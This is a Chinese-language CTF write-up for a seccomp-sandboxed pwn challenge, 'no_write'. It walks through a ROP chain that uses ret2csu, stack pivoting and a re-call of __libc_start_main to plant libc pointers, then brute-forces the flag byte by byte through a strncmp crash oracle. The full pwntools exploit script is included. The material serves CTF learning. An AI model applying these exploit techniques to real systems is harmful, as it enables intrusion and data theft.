这道题ban掉了打印函数,当时比赛的时候找到了相关的SROP开启沙盒的博客,也知道了要考虑用strncmp来进行flag的单字节的爆破。但是我一鼓作气再而衰了,第二天没太玩命,利用脚本没有写出来,
SROP对于我还说还是套脚本..

来复现一下ruan大佬的脚本
ruan博客

检测

这里我使用了seccomp-tools工具
命令seccomp-tools dump ./no_write

1
2
3
4
5
6
7
8
9
10
11
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

发现程序仅仅让使用open,read,exit这几个调用,剩下全部KILL。
程序保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

思路

我的本来思路是利用SROP打包一个任意函数调用的函数,然后通过open将flag读入内存,在read参与爆破的字符进内存,利用strncmp来进行比较。但是失败了。
然后本次脚本的利用是重新调用__libc_start_main实现在可控制内存内读入一些libc空间地址。然后通过add一个偏移来实现将我们想要执行的函数指针写入可控制内存
然后进行比较

将libc指针写入内存

我们在这里用到的指针为strncmp指针,还有syscall。
调用__libc_start_main会在内存内写入initial,exit_funcs_lock的libc地址,首先我们来实现call cs:__libc_start_main_ptr
这里我们利用ret2__libc_csu_init来进行三个参数的函数调用的打包。

1
2
3
4
5
def ret_csu(func,arg1=0,arg2=0,arg3=0):
payload = ''
payload += p64(0)+p64(1)+p64(func)
payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
return payload

IDA反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
text:0000000000400750 loc_400750:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400750 mov rdx, r15
.text:0000000000400753 mov rsi, r14
.text:0000000000400756 mov edi, r13d
.text:0000000000400759 call qword ptr [r12+rbx*8]
.text:000000000040075D add rbx, 1
.text:0000000000400761 cmp rbp, rbx
.text:0000000000400764 jnz short loc_400750
.text:0000000000400766
.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn

构造read(0,0x601350,0x400)与leave_(0x6013f8)_ret来实现将stack迁移到0x6013f8空间段。

1
2
3
4
5
pppppp_ret=0x40076A
payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet)
payload = payload.ljust(0x100,'\x00')
p.send(payload)

然后调用__libc_start_main来实现往0x601300段写入地址

1
2
3
4
payload = "\x00"*(0x100-0x50)
payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)
payload = payload.ljust(0x400,'\x00')
p.send(payload)

如下,此刻0x601310为__exit_funcs_lock的真实地址,0x601318为initial的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ x/32gx 0x601300
0x601300: 0x0000000000000000 0x0000000000000000
0x601310: 0x00007febdbf76628 0x00007febdbf72d80
0x601320: 0x00007febdbbc9489 0x0000000000000000
0x601330: 0x00000000004006e5 0x00000400dbc96081
0x601340: 0x0000000000601350 0x00007febdbc96081
0x601350: 0x000000000040076a 0x00000000ffd98790
0x601360: 0x0000000000601355 0x0000000000000000
0x601370: 0x0000000000000000 0x0000000000000000
0x601380: 0x0000000000000000 0x00000000004005e8
0x601390: 0x000000000040076a 0x00000000ffce234d
0x6013a0: 0x000000000060134d 0x0000000000000000
0x6013b0: 0x0000000000000000 0x0000000000000000
0x6013c0: 0x0000000000000000 0x00000000004005e8
0x6013d0: 0x000000000040076a 0x0000000000000000
0x6013e0: 0x0000000000000001 0x0000000000600fd8
0x6013f0: 0x0000000000000000 0x0000000000601800

改写libc指针

这里用到了一段奇异的代码,也是我没想到的代码,这段指令的相对位置为__do_global_dtors_aux+0x18,代码为

1
2
3
0x4005e8 <__do_global_dtors_aux+24>:	add    DWORD PTR [rbp-0x3d],ebx
0x4005eb <__do_global_dtors_aux+27>: nop DWORD PTR [rax+rax*1+0x0]
0x4005f0 <__do_global_dtors_aux+32>: repz ret

如图,可以对rbp-0x3d的值进行add操作,我们控制rbp-0x3d为指向initial的指针,就能对initial进行一个任意偏移的add,实现写入任意libc地址。

1
2
3
4
5
6
7
offset = 0x267870 #initial - __strncmp_sse42
payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8)
offset = 0x31dcb3 # __exit_funcs_lock - syscall
payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
p.send(payload)

这样我们就实现在0x601318处写入__strncmp_sse42,在0x601310处写入syscall.
查看效果

1
2
3
4
5
6
gdb-peda$ x/2gx 0x601310
0x601310: 0x00007febdbc58975 0x00007febdbd0b510
gdb-peda$ x/gi 0x00007febdbc58975
0x7febdbc58975 <__time_syscall+5>: syscall
gdb-peda$ x/gi 0x00007febdbd0b510
0x7febdbd0b510 <__strncmp_sse42>: test rdx,rdx

读入flag

这里由于我们已经有了syscall的地址,我们通过read(0,xxx,2)来实现控制eax=2

1
2
3
4
5
6
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2)
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag
payload += p64(0)*6

读入字符,进行flag爆破

这里我们面临最后一个问题,如何去进行strncmp是否的判断,这里用的是将字符读入0x601fff,然后进行strncmp(0x601800+i,0x601fff,2)的判断,如果0x601fff处字符正确,
程序去读取0x602000,从而引发segment fault.

1
2
3
4
5
6
7
8
9
10
11
12
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
# now we can cmp the flag one_by_one
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2)
payload += p64(0)*6
for _ in range(4):
payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)

payload = payload.ljust(0x3f8,'\x00')
payload += "flag\x00\x00\x00\x00"
p.send(payload)
p.send("dd"+"d"*7+j)

如图,若flag正确,程序报错

当flag字符错误时,程序可以跳出strncmp向下执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import string
context.arch='amd64'

def ret_csu(func,arg1=0,arg2=0,arg3=0):
payload = ''
payload += p64(0)+p64(1)+p64(func)
payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
return payload
def main(host,port=2333):
charset = '}{_'+string.digits+string.letters
flag = ''
for i in range(0x30):
for j in charset:
try:
p = process("./no_write")
pppppp_ret = 0x00000000040076A
read_got = 0x000000000600FD8
call_libc_start_main = 0x000000000400544
p_rdi = 0x0000000000400773
p_rsi_r15 = 0x0000000000400771
# 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0
offset = 0x267870 #initial - __strncmp_sse42
readn = 0x0000000004006BF
#gdb.attach(p,"b *0x40076A")
leave_tet = 0x00000000040070B
payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet)
payload = payload.ljust(0x100,'\x00')
p.send(payload)
sleep(0.3)
payload = "\x00"*(0x100-0x50)
payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)
payload = payload.ljust(0x400,'\x00')
p.send(payload)
sleep(0.3)
# 0x601318
payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8)
# 0x00000000000d2975: syscall; ret;
# 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0
offset = 0x31dcb3 # __exit_funcs_lock - syscall
payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2)
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
# now we can cmp the flag one_by_one
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2)
payload += p64(0)*6
for _ in range(4):
payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)

payload = payload.ljust(0x3f8,'\x00')
payload += "flag\x00\x00\x00\x00"
p.send(payload)
sleep(0.3)
p.send("dd"+"d"*7+j)
sleep(0.5)
p.recv(timeout=0.5)
p.send("A"*0x100)
#pause()
p.close()
# p.interactive()
except EOFError:
flag += j
print flag
if(j == '}'):
exit()
p.close()
# pause()
break
if __name__ == "__main__":
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
main(0)

总结

重新调用__libc_start_main来往bss段弹入libc空间地址我之前是没学到的,配合__do_global_dtors_aux+0x18可以轻松的实现写入任意函数地址的效果。